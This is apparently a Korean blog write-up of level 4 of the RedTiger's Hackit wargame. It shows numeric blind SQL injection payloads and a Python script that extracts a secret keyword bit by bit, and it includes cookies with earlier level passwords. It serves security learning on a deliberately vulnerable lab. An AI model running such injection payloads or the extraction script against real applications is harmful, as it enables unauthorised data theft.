Solve Problem

[RedTiger's Hackit] 4번 문제

rootable 2018. 1. 28. 15:51
반응형


문제를 보면 level4_secret 테이블의 keyword라는 컬럼에서 첫번째 값을 가져오라고 한다. 단, like는 사용못한다고 되어있다.


Click Me라는 것을 클릭하면 ?id=1이라는 파라미터가 생긴다.

이 파라미터값에 '를 넣거나 2를 넣거나 하면 Query returned 0 rows로 변한다.


숫자형 파라미터에 SQL Injection하는 것인가보다.


?id=1 order by 3하면 에러가 뜨는 것을 보아 컬럼이 2개인 것을 확인하고 union select 1,2를 통해 Query returned 2 rows가 되는 것으로 보아 union도 작동하는 것으로 볼 수 있지만 문자가 출력되지 않으므로 Blind SQL Injection으로 가야겠다.


어떻게 할지 생각해보다가 어차피 결과가 한개이므로 조건문으로 값을 찾으면 되겠다는 생각을 했다.


?id=1 AND ascii(substr(keyword,1,1))>1


이와 같이 요청을 보내면 쿼리는 아래와 같을 것이다.


SELECT * FROM level4_secret WHERE id=1 AND ascii(substr(keyword,1,1))>1


그 결과 1개의 행이 출력되는 것을 확인하였고 아래와 같은 요청을 보내 keywork의 값이 21글자임을 확인하였다.


?id=1+AND+length(keyword)=21


이를 토대로 파이썬 코드를 작성하였다.


import urllib2
result=''
url = "https://redtiger.labs.overthewire.org/level4.php?id="
for chr_l in range(1,22):
binary=''
for bin_l in range(1,8):
param="1+AND+substr(lpad(bin(ascii(substr(keyword,"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1)=1"
req = urllib2.Request(url+param)
req.add_header('cookie','level2login=4_is_not_random; level3login=feed_your_cat_before_your_cat_feeds_you; level4login=there_is_no_bug')
page = urllib2.urlopen(req).read()
if page.find('1 rows') != -1:
binary+='1'
else:
binary+='0'
print binary
result = result+('%x' % int(binary,2)).decode('hex')
print result
print result

그 결과 아래와 같은 결과가 출력되었다.


도출된 값을 Word에 넣고 인증해보자.






반응형